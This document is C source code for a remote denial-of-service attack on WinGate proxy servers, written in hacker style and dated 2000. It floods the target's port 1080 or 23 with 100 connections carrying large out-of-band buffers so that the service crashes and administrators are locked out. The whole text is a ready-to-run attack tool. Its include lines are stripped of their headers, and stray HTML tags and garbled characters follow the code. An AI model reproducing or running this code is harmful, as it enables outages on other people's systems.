/* god- 3/dec/y2k * well just a small little thingie in here. * we open multiply connections and we send a large buffer * with the MSG_OOB flag. this will cause all connections to stay * alive (as the WinGate server will think) and he will get * overflowed ( thank you sigpipe =) ). when the local adminitrator will try to * login to his wingate server, it will give him the error 'out of buffers' * and he wont be able to login. * and yes, this disables ALL of the wingate services. */ #include #include #include #include #include #include #include #include #include #include char usage(char *); unsigned long elookup(const char *); void sighan(int sig_num) { printf("Expected SIGPIPE... got it!\n"); printf("bailing out!\n"); exit(0); } int main(int argc, char *argv[]) { int fd, fd2; int fd3[100]; int i = 0; struct sockaddr_in sin; /* blah blah large and shitty buffer */ char buffer[40000] = "\r\n\n"; char *einval = "argument"; char *refu = "refused"; if(argc != 2) usage(argv[0]); signal(SIGPIPE, sighan); for(i = 0; i < 100;i++) { if((fd3[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(0); } } memset(&sin, 0, sizeof(sin)); sin.sin_port = htons(1080); sin.sin_family = AF_INET; if((sin.sin_addr.s_addr = elookup(argv[1])) == -1) return -1; printf("WinGate Remote DoS by god-@EFnet!\n"); printf("Crashing wingate ports...\n"); if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(0); } if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(0); } for(i = 0; i < 100 ; i++) { if(connect(fd3[i], (struct sockaddr*)&sin, sizeof(sin)) == -1) { if(strstr(sys_errlist[errno], refu) != NULL) { sin.sin_port = htons(23); } } if(send(fd3[i], buffer, strlen(buffer), MSG_OOB) == -1) { if(strstr(sys_errlist[errno], einval) != NULL) { printf("This WinGate DoS program cannot run on this box =[\n"); exit(0); } else { perror("socket"); exit(0); } } } /* NOT REACHED ( BECAUSE OF SIGPIPE ), BUT STILL HERE. */ printf("checking if port is open..."); shutdown(2, fd); if(connect(fd2, (struct sockaddr*)&sin, sizeof(sin)) == -1) { printf("port got crashed! mauyauhahu!\n"); exit(0); } else { printf("dos failed =[\n"); } return 0; } char usage(char *fname) { printf("WinGate Remote DoS attack by god-@EFNet!\n"); printf("Usage: %s \n", fname); exit(0); } unsigned long elookup (const char *host){ struct in_addr in; struct hostent *hp; if ((in.s_addr = inet_addr(host)) == -1){ if ((hp = gethostbyname(host)) == (struct hostent *)NULL) return -1; memcpy (&in.s_addr, hp->h_addr, hp->h_length); } return in.s_addr; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß